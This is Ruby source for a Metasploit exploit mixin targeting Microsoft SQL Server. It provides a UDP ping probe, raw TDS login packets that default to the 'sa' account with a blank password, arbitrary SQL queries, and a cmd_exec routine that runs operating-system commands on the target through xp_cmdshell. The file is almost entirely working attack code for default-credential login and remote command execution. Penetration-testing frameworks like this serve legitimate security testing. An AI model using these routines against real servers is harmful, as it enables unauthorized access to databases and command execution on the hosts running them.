require 'msf/core' module Msf ### # # This module exposes methods for querying a remote MSSQL service # ### module Exploit::Remote::MSSQL include Exploit::Remote::Udp include Exploit::Remote::Tcp # # Creates an instance of a MSSQL exploit module. # def initialize(info = {}) super # Register the options that all MSSQL exploits may make use of. register_options( [ Opt::RHOST, Opt::RPORT(1433), ], Msf::Exploit::Remote::MSSQL) end # # This method sends a UDP query packet to the server and # parses out the reply packet into a hash # def mssql_ping(timeout=5) data = { } ping_sock = Rex::Socket::Udp.create( 'PeerHost' => rhost, 'PeerPort' => 1434, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) ping_sock.put("\x02") resp, saddr, sport = ping_sock.recvfrom(65535, timeout) ping_sock.close return data if not resp return data if resp.length == 0 var = nil return mssql_ping_parse(resp) end # # Parse a 'ping' response and format as a hash # def mssql_ping_parse(data) res = {} var = nil idx = data.index('ServerName') return res if not idx data[idx, data.length-idx].split(';').each do |d| if (not var) var = d else if (var.length > 0) res[var] = d var = nil end end end return res end # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password # The global socket is used and left connected after auth # def mssql_login(user='sa', pass='') p_hdr = "\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00" p_pk2 = "\x30\x30\x30\x30\x30\x30\x61\x30\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x20\x18\x81\xb8\x2c\x08\x03"+ "\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x73\x71\x75\x65\x6c\x64\x61"+ "\x20\x31\x2e\x30\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00" p_pk3 = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x04\x02\x00\x00\x4d\x53\x44"+ "\x42\x4c\x49\x42\x00\x00\x00\x07\x06\x00\x00"+ "\x00\x00\x0d\x11\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00" p_lang = "\x02\x01\x00\x47\x00\x00\x02\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x30\x30\x30\x00\x00"+ "\x00\x03\x00\x00\x00" user = user.slice(0, 29) pass = pass.slice(0, 29) ulen = user.length.chr plen = pass.length.chr user << ("\x00" * (30-user.length)) pass << ("\x00" * (30-pass.length)) p_login = p_hdr + user + ulen + pass + plen p_login << p_pk2 + plen + pass + p_pk3 connect sock.put(p_login) sock.put(p_lang) resp = sock.get_once if (resp and resp.length > 10 and resp[8] == 0xe3) return true end return false end def sql_query(sql) pkt = "\x01\x01\x00\x00\x01\x00" + sql len = [pkt.length+2].pack('n') pkt.insert(2, len) sock.put(pkt) resp = sock.get(timeout=15) return query_parse(resp) end def cmd_exec(cmd) cmd_query = "xp_cmdshell '#{cmd}'" sql_query(cmd_query) end def query_parse(resp) @data = "" status = 0 while status == 0 status, size, pkt = parse_header(resp.slice!(0,8)) @data << resp.slice!(0,(size-8)) end until @data == nil token = @data.slice!(0,1).unpack('C')[0] case token when 0xa0, 0xa1 parse_column() when 0xd1 parse_row() when 0x79 parse_ret() when 0xfd, 0xfe, 0xff parse_done() when nil break else print_error("Got unsupported token!") end end end def parse_header(header) type, status, size, chan, pkt, window = header.unpack('CCnnCC') #print_status("Got Packet #{pkt} of #{size} bytes...") return status,size,pkt end def parse_column() len = @data.slice!(0,2).unpack('S')[0] str = @data.slice!(0,len).unpack('A*') end def parse_row() len = @data.slice!(0,1).unpack('C')[0] if len == 0 print_line() else str = @data.slice!(0,len).unpack("A*")[0] print_line("\t#{str}") end end def parse_ret() ret = @data.slice!(0,4).unpack('N')[0] unless ret == 0 print_error("There was a problem executing the query...") end end def parse_done() status, cmd, rows = @data.slice!(0,8).unpack('nnN') end end end